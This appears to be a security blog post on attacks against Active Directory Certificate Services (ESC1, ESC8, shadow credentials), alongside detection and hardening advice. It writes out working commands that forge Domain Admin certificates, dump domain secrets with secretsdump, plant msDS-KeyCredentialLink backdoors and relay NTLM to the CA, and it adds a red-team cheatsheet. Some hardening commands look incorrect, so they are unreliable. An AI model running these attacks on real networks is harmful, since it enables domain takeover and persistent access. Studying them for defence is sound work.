Listen to this Post
Introduction
Active Directory Certificate Services (AD CS) is a critical Windows server component that, when misconfigured, becomes a prime vector for privilege escalation and long-term persistence. Attackers exploit complex certificate templates—particularly ESC1—to impersonate any domain user, including administrators, and generate shadow credentials that enable password-free authentication, effectively bypassing traditional detection mechanisms.
Learning Objectives
- Understand how misconfigured certificate templates (ESC1) allow unauthorized identity impersonation and privilege escalation.
- Execute step‑by‑step exploitation techniques to generate shadow credentials for stealthy, password‑less persistence.
- Implement detection and hardening strategies using Windows native tools, PowerShell, and SIEM queries.
You Should Know
1. Understanding ESC1: The Core Vulnerability
ESC1 arises when a certificate template permits client authentication, allows the requester to supply an arbitrary Subject Alternative Name (SAN), and does not require manager approval or authorized signatures. An attacker with any domain user account can request a certificate for a privileged account (e.g., Domain Admin) and then use it to authenticate via Kerberos or Schannel.
Step‑by‑step guide to verify vulnerable templates:
- Use `certutil` (Windows) or `ldapsearch` (Linux) to enumerate AD CS templates:
Windows (PowerShell as domain user) certutil -config "DC1.domain.local\DC1-CA" -getreg "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags" List all templates certutil -catemplates | findstr "Template"
- From Linux with ldapsearch:
ldapsearch -H ldap://dc1.domain.local -x -D "DOMAIN\user" -w 'pass' -b "CN=Configuration,DC=domain,DC=local" "(objectClass=pKICertificateTemplate)" dNSName msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag
- Look for templates with MS-PKI-Certificate-Name-Flag = 0x2000000 (SAN allowed) and Enrollment Flag = 0x4 (no manager approval).
2. Exploiting ESC1 to Impersonate a Domain Admin
Once a vulnerable template is identified, an attacker can request a certificate for a high‑value account, then use it to obtain a TGT (Ticket Granting Ticket) or authenticate to services.
Step‑by‑step exploitation with Certipy (Python):
Install Certipy pip3 install certipy-ad Request a certificate for Domain Admin using vulnerable template certipy req -u '[email protected]' -p 'password' -ca 'CA-NAME' -target 'DC1.domain.local' -template 'VulnerableTemplate' -upn '[email protected]' Convert .pfx certificate to .ccache for Kerberos auth certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 10.0.0.1 Now use the TGT with Impacket or other tools export KRB5CCNAME=/path/to/administrator.ccache secretsdump.py -k -no-pass domain.local/[email protected]
On Windows (PowerShell with AD CS module):
Request certificate from CA $cert = Get-Certificate -Template "VulnerableTemplate" -DnsName "administrator.domain.local" Export to file Export-PfxCertificate -Cert $cert -FilePath C:\Temp\admin.pfx -Password (ConvertTo-SecureString 'pass' -AsPlainText -Force) Use Rubeus to get TGT .\Rubeus.exe asktgt /user:administrator /domain:domain.local /certificate:admin.pfx /password:pass /nowrap
3. Creating Shadow Credentials for Stealthy Persistence
Shadow credentials are key credentials (e.g., msDS-KeyCredentialLink) added to a user object, allowing authentication without a password. After ESC1 exploitation, an attacker can plant a public key on a privileged account, effectively creating a backdoor.
Step‑by‑step guide to add shadow credentials using Whisker (Windows) or PyWhisker (Linux):
Windows with Whisker (based on NetWhisper) .\Whisker.exe add /target:"CN=Administrator,CN=Users,DC=domain,DC=local" /cert:admin.pfx
Linux with PyWhisker python3 pywhisker.py -d domain.local -u 'user' -p 'password' --target "administrator" --action add --device-id random
– Verify the added key link:
Get-ADUser administrator -Properties 'msDS-KeyCredentialLink' | Select -ExpandProperty msDS-KeyCredentialLink
– Authenticate using the shadow credential with PKINIT:
certipy auth -pfx newly_issued.pfx -dc-ip 10.0.0.1
– The backdoor remains even if the victim changes their password; remove only by deleting the KeyCredentialLink attribute.
4. Detection and Mitigation Strategies
Detecting ESC1 abuse requires monitoring certificate requests, suspicious SAN fields, and KeyCredentialLink modifications.
Step‑by‑step detection commands and queries:
- Event logs on CA server (Windows):
Enable Event ID 4886 (Certificate Services received request) and 4887 (issued). Look for templates allowing SAN and unusual subject names.Get-WinEvent -LogName "Security" -FilterXPath "[System[EventID=4886]]" | Where-Object {$_.Message -like "SAN"} | Format-List -
Monitor KeyCredentialLink changes (Event ID 5136 – Directory Service change):
Get-WinEvent -LogName "Security" | Where-Object { $<em>.Id -eq 5136 -and $</em>.Message -match "msDS-KeyCredentialLink" } -
Use PowerShell to detect vulnerable templates:
$VulnTemplates = Get-ADObject -Filter "objectClass -eq 'pKICertificateTemplate'" -Properties msPKI-Enrollment-Flag, msPKI-Certificate-Name-Flag | Where-Object { ($<em>.'msPKI-Enrollment-Flag' -band 0x4) -eq 0 -and ($</em>.'msPKI-Certificate-Name-Flag' -band 0x2000000) -eq 0x2000000 } Write-Host "Vulnerable templates: $($VulnTemplates.Name)" -
Mitigation steps:
- Disable SAN support on all templates unless absolutely needed (
msPKI-Certificate-Name-Flagunset bit 0x2000000). - Require manager approval and authorized signatures (set msPKI-Enrollment-Flag to include 0x4 and 0x20).
-
Implement certificate issuance logging and SIEM alerting (e.g., Splunk query:
index=windows sourcetype=WinEventLog:Security EventCode=4886 "Certificate Template:VulnerableTemplate"). -
Expanding to ESC2–ESC8: Other AD CS Attack Vectors
While ESC1 is most common, attackers also use ESC2 (no SAN but any EKU), ESC3 (enrollment agent), ESC4 (weak access control on templates), and ESC8 (NTLM relay to CA via web enrollment).
Step‑by‑step for ESC8 (NTLM relay) using ntlmrelayx:
Set up relay to AD CS web enrollment endpoint python3 ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support -socks
– Force a domain admin to authenticate (e.g., via print nightmare or responder).
– Relay the NTLM hash to request a certificate for the admin.
– Extract the certificate and use it as in ESC1.
Defense: Disable HTTP-based enrollment, enforce Extended Protection for Authentication, and require HTTPS.
6. Hardening AD CS Configuration (Administrator Guide)
Secure AD CS by applying Microsoft’s best practices:
Commands to review and harden:
Check all templates (as CA admin)
certutil -CATemplates | ForEach-Object { certutil -Template $_ }
Set strong security descriptor on CA object
$ca = Get-ADObject -Identity "CN=Your-CA,CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local"
Set-ADObject -Identity $ca -Replace @{ "msPKI-Enrollment-Flags" = 0x80000000 } Enforce strict validation
Remove vulnerable templates
certutil -DeleteTemplate -Template "WeakTemplate"
Enable auditing for CA
auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
7. Red Teaming vs. Blue Teaming Command Cheatsheet
| Purpose | Linux / Windows Command |
||-|
| Enumerate AD CS (Red) | `certipy find -u user@domain -p pass -dc-ip 10.0.0.1` |
| Request a malicious cert (Red) | `certipy req -template Vuln -upn admin@domain` |
| Extract TGT from cert (Red) | `certipy auth -pfx admin.pfx` |
| Detect suspicious cert requests (Blue) | PowerShell: `Get-EventLog -LogName Security -InstanceId 4886` |
| Monitor shadow credential addition (Blue) | `Get-ADUser -Filter -Properties msDS-KeyCredentialLink | Where-Object { $_.msDS-KeyCredentialLink }` |
| Remove all key credentials from a user (Blue) | `Remove-ADObject -Identity “CN=Administrator,CN=Users,DC=domain,DC=local” -Attribute msDS-KeyCredentialLink -Confirm:$false` |
What Undercode Say
- Key Takeaway 1: ESC1 remains a highly effective privilege escalation vector because many organizations overlook template misconfigurations; regular audits with tools like `certipy find` are non‑negotiable.
- Key Takeaway 2: Shadow credentials provide an advanced persistence mechanism that outlives password changes; detecting them requires continuous monitoring of the `msDS-KeyCredentialLink` attribute and event ID 5136.
Analysis: AD CS complexity is its own worst enemy. The interplay between enrollment flags, name flags, and access controls creates a large attack surface. Attackers no longer need to dump LSASS or use pass‑the‑hash; they can simply become a certificate authority themselves. The techniques described—from ESC1 to shadow credentials—demonstrate that certificate‑based authentication, often considered more secure than passwords, introduces entirely new trust boundaries that are poorly understood by defenders. Red teams are weaponizing these gaps, and blue teams must shift from traditional log monitoring to CA‑specific telemetry, including certificate transparency logs, template versioning, and PKI health assessments. The rise of tools like Certipy, Whisker, and PKINIT modules in Impacket has democratized these attacks, making them accessible to any penetration tester. Defenders should prioritize disabling SAN injection, enforcing manager approval, and deploying Windows Defender for Identity with AD CS detection rules.
Prediction
As Microsoft pushes towards password‑less authentication (Windows Hello for Business, FIDO2, etc.), AD CS adoption will only grow. Consequently, ESC1‑like flaws will become the new “EternalBlue” of identity attacks. Expect to see: (1) weaponized AI agents that automatically discover and exploit misconfigured templates across entire forests; (2) CA‑as‑a‑service supply chain attacks, where cloud‑managed PKIs leak tenant‑isolation boundaries; and (3) regulatory mandates requiring quarterly PKI misconfiguration scans. Organizations that fail to treat certificate templates as critical security boundaries will face domain‑wide compromises that leave no forensic trace—until it is too late.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Active Directory – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
